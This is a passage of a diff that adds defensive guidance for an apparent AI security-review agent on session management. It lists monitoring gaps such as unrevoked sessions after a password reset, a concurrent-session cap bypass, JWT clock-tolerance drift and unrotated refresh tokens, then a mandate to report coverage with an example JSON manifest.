+- **Session survives password-reset secondary path**: The primary `changePassword` handler invalidates sessions, but the `reset-by-link` endpoint calls a different function that doesn't. No monitoring compares the two code paths. **Need**: after any credential change event, emit a `session.revocation_check` audit event and assert the count of active sessions for that user drops to 0 or 1 (current device only).
+
+- **Concurrent session cap bypassed via client_id split**: Enforcement is per `(userId, clientId)` tuple; monitoring dashboards show per-client counts, not total. A user with 3 web sessions + 3 mobile sessions = 6 concurrent sessions, none of which individually breach the per-client limit. **Need**: SIEM query that aggregates active sessions by `userId` across all `clientId` values and alerts on total > N.
+
+- **Absolute-timeout bypass via JWT leeway drift**: The token `exp` field is technically expired but the `clockTolerance` constant in the JWT library accepts it. Auth logs show "token accepted" without recording that acceptance happened past the nominal `exp`. **Need**: log `exp`, `iat`, server time, and delta at every token verification; alert when `serverTime > exp` on an accepted token.
+
+- **Long-lived refresh tokens not rotated**: Access tokens expire in 15 min (visible, monitored) but refresh tokens last 30 days and are never revoked on password change. Attackers pivot to refresh tokens after initial access-token theft. **Need**: monitor refresh token issuance and redemption; alert on refresh tokens used more than 24 h after their paired access token was last used; enforce refresh token family invalidation on any suspicious reuse.
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [
+      {
+        "class": "Absolute Session Timeout Missing",
+        "filesReviewed": 12,
+        "patterns": ["maxAge", "SESSION_TTL", "session.maxAge", "jwt.maxAge"],
+        "result": "CLEAN"
+      },
+      {
+        "class": "Idle Timeout Missing",
+        "filesReviewed": 12,
+        "patterns": ["updateAge", "idle.*timeout", "last_activity", "IDLE_TIMEOUT"],
+        "result": "CLEAN"
+      },
+      {
+        "class": "Session Not Revoked on Password Change",
+        "filesReviewed": 8,
+        "patterns": ["changePassword", "updatePassword", "setNewPassword", "invalidateAllSessions", "del.*session"],
+        "result": "2 findings — fixed inline"
+      },
+      {
+        "class": "Concurrent Session Limit Absent",
+        "filesReviewed": 6,
+        "patterns": ["maxSessions", "concurrent.*session", "kickOldSession"],
+        "result": "CLEAN"
+      },
+      {
+        "class": "JWT Expiry > 24h Without Rotation",
+        "filesReviewed": 5,
+        "patterns": ["expiresIn", "exp.*86400", "jwt.*maxAge"],
+        "result": "CLEAN"
+      },
+      {
+        "class": "Session Cookie Missing Secure/HttpOnly Flags",
+        "filesReviewed": 9,
+        "patterns": ["httpOnly", "secure.*cookie", "sameSite"],
+        "result": "CLEAN"
+      }
+    ],
+    "filesReviewed": 24,
+    "negativeAssertions": [
+      "Absolute timeout: maxAge/SESSION_TTL patterns searched across 12 files — all ≤24 h",
+      "Idle timeout: last_activity/IDLE_TIMEOUT patterns searched across 12 files — 0 absent"
+    ],
+    "uncoveredReason": {}
+  }
+}
+```